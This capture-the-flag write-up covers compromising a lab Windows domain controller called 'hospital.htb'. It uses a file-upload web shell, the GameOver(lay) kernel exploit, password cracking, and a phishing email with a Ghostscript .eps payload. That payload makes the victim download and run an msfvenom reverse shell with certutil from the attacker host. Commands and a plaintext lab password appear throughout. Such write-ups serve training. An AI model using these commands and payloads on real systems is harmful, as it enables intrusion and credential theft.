TL;DR
This is a Windows Server 2019 domain controller running 2 web servers, one on port 443 (XAMPP webmail) and another on port 8080 (Apache). It is supposedly used by doctors in a hospital and a feature is enabled to upload medical records. This can be abused to upload a p0wny PHP shell and get access to a Linux container running Ubuntu 22.04. Subsequently, this is rooted using a kernel exploit. Once we have rooted the container, we get credentials for an email account from which we can launch a phishing attack to get access to the Windows machine. Write permissions on the 443 service web root folder allows us to upload a PHP reverse shell and get a system shell, since this web service is being run under high privilege.
KEYWORDS
Insecure file upload, GameOver(lay), phishing, Ghostscript.
REFERENCE
https://github.com/flozz/p0wny-shell
https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629
https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection
ENUMERATION
Port scan.
Copy > nmap $target -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-18 15:35 EST
Nmap scan report for 10.129.70.232
Host is up, received user-set (0.041s latency ).
Not shown: 65506 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
53/tcp open domain syn-ack
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
389/tcp open ldap syn-ack
443/tcp open https syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
593/tcp open http-rpc-epmap syn-ack
636/tcp open ldapssl syn-ack
1801/tcp open msmq syn-ack
2103/tcp open zephyr-clt syn-ack
2105/tcp open eklogin syn-ack
2107/tcp open msmq-mgmt syn-ack
2179/tcp open vmrdp syn-ack
3268/tcp open globalcatLDAP syn-ack
3269/tcp open globalcatLDAPssl syn-ack
3389/tcp open ms-wbt-server syn-ack
5985/tcp open wsman syn-ack
6404/tcp open boe-filesvr syn-ack
6406/tcp open boe-processsvr syn-ack
6407/tcp open boe-resssvr1 syn-ack
6409/tcp open boe-resssvr3 syn-ack
6614/tcp open unknown syn-ack
6635/tcp open mpls-udp syn-ack
7326/tcp open icb syn-ack
8080/tcp open http-proxy syn-ack
9389/tcp open adws syn-ack
Nmap done: 1 IP address (1 host up ) scanned in 95.25 seconds Looks like a domain controller, enumerate the open ports.
Copy > nmap $target -p$( cat port ) -sV -sC -Pn -vv
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-18 15:47 EST
Nmap scan report for 10.129.70.232
Host is up, received user-set (0.038s latency ).
Scanned at 2023-11-18 15:47:25 EST for 103s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux ; protocol 2.0 )
| ssh-hostkey:
| 256 e14b4b3a6d18666939f7aa74b3160aaa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEOWkMB0YsRlK8hP9kX0zXBlQ6XzkYCcTXABmN/HBNeupDztdxbCEjbAULKam7TMUf0410Sid7Kw9ofShv0gdQM=
| 256 96c1dcd8972095e7015f20a24361cbca (ED25519)
| _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGH/I0Ybp33ljRcWU66wO+gP/WSw8P6qamet4bjvS10R
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2023-11-19 03:47:37Z )
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name )
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after: 2028-09-06T10:49:03
| MD5: 04b1adfe746a788e36c0802abdf33119
| SHA-1: 17e58592278f4e8f8ce1554c35509c02282591e3
| -----BEGIN CERTIFICATE-----
| MIIC+TCCAeGgAwIBAgIQdNv8q6fykq5PQSM0k1YFAjANBgkqhkiG9w0BAQsFADAN
| MQswCQYDVQQDEwJEQzAeFw0yMzA5MDYxMDQ5MDNaFw0yODA5MDYxMDQ5MDNaMA0x
| CzAJBgNVBAMTAkRDMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7obA
| P53k1qyTGrYu36d3MfqWRf+nPEFi6i+GK7/8cOoQfQPjPNMMHcmzHaFgkOdAcv12
| jctNzQYh6xUQY5R3zqjXlJyRorftvBlKDU02S4EOKsdytnziHbHG5ZEvRDoCgVH3
| uvt4U7cqwk1uE0r6iWwegK/xxtTVBPkObmepjTO1DEMyj8j6UU9jwyCH8jE5VTCC
| UiWJI/q+B/tcJcINfFerv4oDagptKrMAIfsX+ReqbZojCD5EREjMUyn+AigZTeyS
| ksesM2Cy6fkVkypComklqJw2YIIlDnPxdh3pAwjyUlbcb6WwE5aEKwuEgyRyXHET
| EKwcUBIa7y3iRSVCpQIDAQABo1UwUzAOBgNVHQ8BAf8EBAMCBaAwHgYDVR0RBBcw
| FYICREOCD0RDLmhvc3BpdGFsLmh0YjATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNV
| HRMBAf8EAjAAMA0GCSqGSIb3DQEBCwUAA4IBAQBjA0NUb25R42VBXvb328jEcMam
| 19VS+MPZijp14phJ0Q/YuxlztTGnSlIFrUPWtJWvx8PLtdCnE1MOmFmcS2TNISg9
| Vt1sE4RF5N9s9TeFqCE80wH+qzZMCaBTlQxrzftkTfN67+SxoEGd6aywXEmzG5tw
| wbEe/dMglJVZ0Uk2DUXjpdXIDQlFIg+Yn0CqWjUvppLUyinxpmVqoC5dY8ijuuem
| 3JjZd5mDoYg1XIP3gfAAutdsce5Safoq7oqh0OYb4sQMu0y9YcRL0JsP3cwB4FnW
| eh2XVUa9NjHJi5hvdH3wy6/jU4UwPED41iuM6Y1rwF/l4J0LmELsmmYZEaWm
| _-----END CERTIFICATE-----
443/tcp open ssl/http syn-ack Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after: 2019-11-08T23:48:47
| MD5: a0a44cc99e84b26f9e639f9ed229dee0
| SHA-1: b0238c547a905bfa119c4e8baccaeacf36491ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE =
| _-----END CERTIFICATE-----
| _http-title: Hospital Webmail :: Welcome to Hospital Webmail
| _http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| _ssl-date: TLS randomness does not represent time
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| tls-alpn:
| _ http/1.1
| _http-favicon: Unknown favicon MD5: 924A68D347C80D0E502157E83812BB23
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl? syn-ack
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after: 2028-09-06T10:49:03
| MD5: 04b1adfe746a788e36c0802abdf33119
| SHA-1: 17e58592278f4e8f8ce1554c35509c02282591e3
| -----BEGIN CERTIFICATE-----
| MIIC+TCCAeGgAwIBAgIQdNv8q6fykq5PQSM0k1YFAjANBgkqhkiG9w0BAQsFADAN
| MQswCQYDVQQDEwJEQzAeFw0yMzA5MDYxMDQ5MDNaFw0yODA5MDYxMDQ5MDNaMA0x
| CzAJBgNVBAMTAkRDMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7obA
| P53k1qyTGrYu36d3MfqWRf+nPEFi6i+GK7/8cOoQfQPjPNMMHcmzHaFgkOdAcv12
| jctNzQYh6xUQY5R3zqjXlJyRorftvBlKDU02S4EOKsdytnziHbHG5ZEvRDoCgVH3
| uvt4U7cqwk1uE0r6iWwegK/xxtTVBPkObmepjTO1DEMyj8j6UU9jwyCH8jE5VTCC
| UiWJI/q+B/tcJcINfFerv4oDagptKrMAIfsX+ReqbZojCD5EREjMUyn+AigZTeyS
| ksesM2Cy6fkVkypComklqJw2YIIlDnPxdh3pAwjyUlbcb6WwE5aEKwuEgyRyXHET
| EKwcUBIa7y3iRSVCpQIDAQABo1UwUzAOBgNVHQ8BAf8EBAMCBaAwHgYDVR0RBBcw
| FYICREOCD0RDLmhvc3BpdGFsLmh0YjATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNV
| HRMBAf8EAjAAMA0GCSqGSIb3DQEBCwUAA4IBAQBjA0NUb25R42VBXvb328jEcMam
| 19VS+MPZijp14phJ0Q/YuxlztTGnSlIFrUPWtJWvx8PLtdCnE1MOmFmcS2TNISg9
| Vt1sE4RF5N9s9TeFqCE80wH+qzZMCaBTlQxrzftkTfN67+SxoEGd6aywXEmzG5tw
| wbEe/dMglJVZ0Uk2DUXjpdXIDQlFIg+Yn0CqWjUvppLUyinxpmVqoC5dY8ijuuem
| 3JjZd5mDoYg1XIP3gfAAutdsce5Safoq7oqh0OYb4sQMu0y9YcRL0JsP3cwB4FnW
| eh2XVUa9NjHJi5hvdH3wy6/jU4UwPED41iuM6Y1rwF/l4J0LmELsmmYZEaWm
| _-----END CERTIFICATE-----
1801/tcp open msmq? syn-ack
2103/tcp open msrpc syn-ack Microsoft Windows RPC
2105/tcp open msrpc syn-ack Microsoft Windows RPC
2107/tcp open msrpc syn-ack Microsoft Windows RPC
2179/tcp open vmrdp? syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name )
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after: 2028-09-06T10:49:03
| MD5: 04b1adfe746a788e36c0802abdf33119
| SHA-1: 17e58592278f4e8f8ce1554c35509c02282591e3
| -----BEGIN CERTIFICATE-----
| MIIC+TCCAeGgAwIBAgIQdNv8q6fykq5PQSM0k1YFAjANBgkqhkiG9w0BAQsFADAN
| MQswCQYDVQQDEwJEQzAeFw0yMzA5MDYxMDQ5MDNaFw0yODA5MDYxMDQ5MDNaMA0x
| CzAJBgNVBAMTAkRDMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7obA
| P53k1qyTGrYu36d3MfqWRf+nPEFi6i+GK7/8cOoQfQPjPNMMHcmzHaFgkOdAcv12
| jctNzQYh6xUQY5R3zqjXlJyRorftvBlKDU02S4EOKsdytnziHbHG5ZEvRDoCgVH3
| uvt4U7cqwk1uE0r6iWwegK/xxtTVBPkObmepjTO1DEMyj8j6UU9jwyCH8jE5VTCC
| UiWJI/q+B/tcJcINfFerv4oDagptKrMAIfsX+ReqbZojCD5EREjMUyn+AigZTeyS
| ksesM2Cy6fkVkypComklqJw2YIIlDnPxdh3pAwjyUlbcb6WwE5aEKwuEgyRyXHET
| EKwcUBIa7y3iRSVCpQIDAQABo1UwUzAOBgNVHQ8BAf8EBAMCBaAwHgYDVR0RBBcw
| FYICREOCD0RDLmhvc3BpdGFsLmh0YjATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNV
| HRMBAf8EAjAAMA0GCSqGSIb3DQEBCwUAA4IBAQBjA0NUb25R42VBXvb328jEcMam
| 19VS+MPZijp14phJ0Q/YuxlztTGnSlIFrUPWtJWvx8PLtdCnE1MOmFmcS2TNISg9
| Vt1sE4RF5N9s9TeFqCE80wH+qzZMCaBTlQxrzftkTfN67+SxoEGd6aywXEmzG5tw
| wbEe/dMglJVZ0Uk2DUXjpdXIDQlFIg+Yn0CqWjUvppLUyinxpmVqoC5dY8ijuuem
| 3JjZd5mDoYg1XIP3gfAAutdsce5Safoq7oqh0OYb4sQMu0y9YcRL0JsP3cwB4FnW
| eh2XVUa9NjHJi5hvdH3wy6/jU4UwPED41iuM6Y1rwF/l4J0LmELsmmYZEaWm
| _-----END CERTIFICATE-----
3269/tcp open globalcatLDAPssl? syn-ack
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after: 2028-09-06T10:49:03
| MD5: 04b1adfe746a788e36c0802abdf33119
| SHA-1: 17e58592278f4e8f8ce1554c35509c02282591e3
| -----BEGIN CERTIFICATE-----
| MIIC+TCCAeGgAwIBAgIQdNv8q6fykq5PQSM0k1YFAjANBgkqhkiG9w0BAQsFADAN
| MQswCQYDVQQDEwJEQzAeFw0yMzA5MDYxMDQ5MDNaFw0yODA5MDYxMDQ5MDNaMA0x
| CzAJBgNVBAMTAkRDMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7obA
| P53k1qyTGrYu36d3MfqWRf+nPEFi6i+GK7/8cOoQfQPjPNMMHcmzHaFgkOdAcv12
| jctNzQYh6xUQY5R3zqjXlJyRorftvBlKDU02S4EOKsdytnziHbHG5ZEvRDoCgVH3
| uvt4U7cqwk1uE0r6iWwegK/xxtTVBPkObmepjTO1DEMyj8j6UU9jwyCH8jE5VTCC
| UiWJI/q+B/tcJcINfFerv4oDagptKrMAIfsX+ReqbZojCD5EREjMUyn+AigZTeyS
| ksesM2Cy6fkVkypComklqJw2YIIlDnPxdh3pAwjyUlbcb6WwE5aEKwuEgyRyXHET
| EKwcUBIa7y3iRSVCpQIDAQABo1UwUzAOBgNVHQ8BAf8EBAMCBaAwHgYDVR0RBBcw
| FYICREOCD0RDLmhvc3BpdGFsLmh0YjATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNV
| HRMBAf8EAjAAMA0GCSqGSIb3DQEBCwUAA4IBAQBjA0NUb25R42VBXvb328jEcMam
| 19VS+MPZijp14phJ0Q/YuxlztTGnSlIFrUPWtJWvx8PLtdCnE1MOmFmcS2TNISg9
| Vt1sE4RF5N9s9TeFqCE80wH+qzZMCaBTlQxrzftkTfN67+SxoEGd6aywXEmzG5tw
| wbEe/dMglJVZ0Uk2DUXjpdXIDQlFIg+Yn0CqWjUvppLUyinxpmVqoC5dY8ijuuem
| 3JjZd5mDoYg1XIP3gfAAutdsce5Safoq7oqh0OYb4sQMu0y9YcRL0JsP3cwB4FnW
| eh2XVUa9NjHJi5hvdH3wy6/jU4UwPED41iuM6Y1rwF/l4J0LmELsmmYZEaWm
| _-----END CERTIFICATE-----
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HOSPITAL
| NetBIOS_Domain_Name: HOSPITAL
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: hospital.htb
| DNS_Computer_Name: DC.hospital.htb
| DNS_Tree_Name: hospital.htb
| Product_Version: 10.0.17763
| _ System_Time: 2023-11-19T03:48:34+00:00
| ssl-cert: Subject: commonName=DC.hospital.htb
| Issuer: commonName=DC.hospital.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-05T18:39:34
| Not valid after: 2024-03-06T18:39:34
| MD5: 0c8aebc23231590c2351ebbf4e1d1dbc
| SHA-1: af104fad1b02073ae026eef48917734bf8e386a7
| -----BEGIN CERTIFICATE-----
| MIIC4jCCAcqgAwIBAgIQJ8MSkg5FM7tDDww5/eWcbjANBgkqhkiG9w0BAQsFADAa
| MRgwFgYDVQQDEw9EQy5ob3NwaXRhbC5odGIwHhcNMjMwOTA1MTgzOTM0WhcNMjQw
| MzA2MTgzOTM0WjAaMRgwFgYDVQQDEw9EQy5ob3NwaXRhbC5odGIwggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsE7CcyqvqUyXdwU9hCSyg21qHJ3DGvSiq
| y9+Afp91IKJd35zkbYgFubrF5F4FLUzcHfcrNdBTw6oFMdNZS5txnjVIQfxoCk1f
| EUnONlIEdi9cattgsEzsNRRG9KJoLrNBIVyYAluMzSoaFF5I0lhSWTlv0ANsdTHz
| rzsc8Avs6BkKLsc03CKo4y3h+dzjWNOnwD1slvoA/IgoiJNPSlrHD01NPuD2Q93q
| 5Yr1mlbx9aew2M4gsEH1YO8k6JfTmVQNLApOVlhlRP/Ak2ZBCJz74UWagufguTSG
| dC/ucQHwe3K7qMD+DpxhMm5XaupkQFvxZdb6fQ8f8wgS6RhM/Ph9AgMBAAGjJDAi
| MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsF
| AAOCAQEAXe9RRGaMAiYnxmhDqbb3nfY9wHPmO3P8CUgzWvA0cTKSbYEb5LCA0IBK
| 7v8svFcAQM94zOWisTu54xtuSiS6PcHfxYe0SJwl/VsZm52qt+vO45Zao1ynJdw/
| SnIeAIKktpq8rZZumYwy1Am65sIRZgw2ExFNfoAIG0wJqBDmsj8qcGITXoPUkAZ4
| gYyzUSt9vwoJpTdLQSsOiLOBWM+uQYnDaPDWxGWE38Dv27uW/KO7et97v+zdC+5r
| Dg8LvFWI0XDP1S7pEfIquP9BmnICI0S6s3kj6Ad/MwEuGnB9uRSokdttIDpvU4LX
| zXOe5MnTuI+omoq6zEeUs5It4jL1Yg ==
| _-----END CERTIFICATE-----
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
| _http-title: Not Found
6404/tcp open msrpc syn-ack Microsoft Windows RPC
6406/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
6407/tcp open msrpc syn-ack Microsoft Windows RPC
6409/tcp open msrpc syn-ack Microsoft Windows RPC
6614/tcp open msrpc syn-ack Microsoft Windows RPC
6635/tcp open msrpc syn-ack Microsoft Windows RPC
7326/tcp open msrpc syn-ack Microsoft Windows RPC
8080/tcp open http syn-ack Apache httpd 2.4.55 ((Ubuntu))
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| http-title: Login
| _Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
| _ httponly flag not set
| _http-server-header: Apache/2.4.55 (Ubuntu)
| _http-open-proxy: Proxy might be redirecting requests
9389/tcp open mc-nmf syn-ack .NET Message Framing
Service Info: Host: DC ; OSs: Linux, Windows ; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-11-19T03:48:34
| _ start_date: N/A
| _clock-skew: mean: 7h00m04s, deviation: 0s, median: 7h00m03s
| smb2-security-mode:
| 311:
| _ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 39109/tcp ): CLEAN ( Timeout )
| Check 2 (port 57645/tcp ): CLEAN ( Timeout )
| Check 3 (port 57392/udp ): CLEAN ( Timeout )
| Check 4 (port 64779/udp ): CLEAN ( Timeout )
| _ 0/4 checks are positive: Host is CLEAN or ports are blocked
Nmap done: 1 IP address (1 host up ) scanned in 104.73 seconds Next step is to fuzz the HTTP service on port 8080.
Copy > ffuf -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 --fc 404 -e .php,.txt,.html -u http://hospital.htb:8080/FUZZ
/ '___\ /' ___\ / '___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://hospital.htb:8080/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Extensions : .php .txt .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 404
________________________________________________
.htpasswd.html [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 83ms]
.htaccess.txt [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 3503ms]
.htpasswd.php [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4478ms]
.htaccess.html [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4481ms]
.htpasswd [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4481ms]
.htaccess.php [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4506ms]
.htaccess [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4526ms]
.htpasswd.txt [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4481ms]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 43ms]
css [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 38ms]
failed.php [Status: 200, Size: 3508, Words: 132, Lines: 83, Duration: 49ms]
fonts [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 46ms]
images [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 63ms]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 39ms]
js [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 45ms]
login.php [Status: 200, Size: 5739, Words: 1551, Lines: 134, Duration: 43ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 51ms]
register.php [Status: 200, Size: 5125, Words: 1349, Lines: 114, Duration: 48ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 62ms]
success.php [Status: 200, Size: 3536, Words: 134, Lines: 84, Duration: 39ms]
upload.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 50ms]
uploads [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 41ms]
vendor [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 111ms]
:: Progress: [81904/81904] :: Job [1/1] :: 2222 req/sec :: Duration: [0:00:50] :: Errors: 0 :: Take note of the folder called uploads
USER
Browse the site http://hospital.htb site, register a new account and sign in. An upload portal appears in Firefox.
Several extensions are filtered. After some trial and error, we find out the extension .phar is not filtered and can be uploaded; however, standard .php shell (such as pentest-monkey-php) are not stable, the only PHP shell which is working is a p0wny shell (https://github.com/flozz/p0wny-shell ).
To upload the shell, select an image file and intercept the message with Burpsuite, then edit the request to add the p0wny shell code instead of the image binary code. The filter in place only checks the extension, and there is no magic bytes check, so there is no need to leave any JPG header and all the image code can be replaced by the PHP code. Finally, change the extension to .phar
The the shell is uploaded in the /uploads folder.
It can be accessed in Firefox in the URL http://hospital.htb:8080/uploads/shell.phar . A p0wny PHP shell spawns, we can use is to get a reverse shell on the host.
From the shell (probably a container), enumerate the system info.
Copy > uname -a
Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux Using the shell we find out nc is installed, so we can use it to get a reverse shell on the Linux container.
Once the reverse shell is received, the container can be rooted with a GameOver(lay) kernel exploit (https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629 ).
Since we are now root we can dump the hashes from the /etc/shadow file, unshadow them and crack with john, this way we get credentials for user drwillams in the container.
Copy > unshadow passwd shadow > unshadowed
> john --wordlist = /usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt ( 3 ) $6$ [SHA512 128/128 AVX 2x] )
Cost 1 (iteration count ) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:02:04 1.00% (ETA: 23:14:18 ) 0g/s 1369p/s 1369c/s 1369C/s light123..larajane
qwe123!@# (?)
1g 0:00:02:37 DONE (2023-11-18 19:50 ) 0.006368g/s 1364p/s 1364c/s 1364C/s r55555..pucci
Use the "--show" option to display all of the cracked passwords reliably
Session completed With this password we log into the web mail server on https://hospital.htb as drwilliams@hospital.htb and read the doctor's email. Turns out a colleague is waiting for an email containing a Ghostscript .eps file.
Knowing this, we prepare a phishing attack for which we need to look for Ghostscript vulnerabilities. Investigation leads to this exploit https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection , which allows injection of commands in .eps files.
Next step is then to generate a msfvenom payload for windows.
Copy > msfvenom -p windows/x64/shell_reverse_tcp lhost = 10.10.xxx.xxx lport = 1919 -f exe -a x64 --platform windows -o shell.exe Now, to succeed in the phishing attack, what seems to work is to divide the process in 2 steps.
First, inject a payload in a project.eps file which will download the shell.exe when executed.
Copy > python3 ./exploit.py -g -p 'certutil -urlcache -split -f "http://10.10.xxx.xxx/shell.exe" shell.exe' -x eps File malicious.eps is generated. Rename it to project.epsand start a Python HTTP server. Then reply the email attaching the project.eps file.
Shortly after, a request is received on the Python server to download the shell.exe file.
Next step is to execute the shell in the server. For this we will repeat the procedure but the command to be injected in the .eps file will just execute the shell previously downloaded by the host.
Copy > python3 ./exploit.py -g -p 'shell.exe' -x eps As before, rename the output file to project.eps, then start a listener on port 1919 and reply the email again. Shortly after, a reverse shell is received for user drbrown
In the documents folder of user drbrown we find a file called ghostscript.bat that contains the user's password.
Copy > type ghostscript.bat
@echo off
set filename=%~1
powershell -command "$p = convertto-securestring 'chr!$br0wn' -asplain -force;$c = new-object system.management.automation.pscredential('hospital\drbrown', $p);Invoke-Command -ComputerName dc -Credential $c -ScriptBlock { cmd.exe /c " C: \P rogram ` Files\gs\gs10.01.1\bin\gswin64c.exe" -dNOSAFER "C:\Users\drbrown.HOSPITAL\Downloads\%filename%" }"
exit We use this credential to login in the remote desktop service.
And finally we are able to get the user flag.
SYSTEM
Enumerate the system.
Copy > systeminfo
Host Name: DC
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA868
Original Install Date: 9/5/2023, 9:23:58 AM
System Boot Time: 11/17/2023, 11:11:31 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC The web server service running on port 443 (webmail) is running as nt authority\system and also we have write permissions on the web root folder located in c:\xampp\htdocs
Since we have an RDP session, we can just copy another p0wny PHP shell in this location and open it with Firefox. Then, send a reverse shell in Windows with powercat
And a reverse shell running under nt authority\systemis received our listener.
You are root.
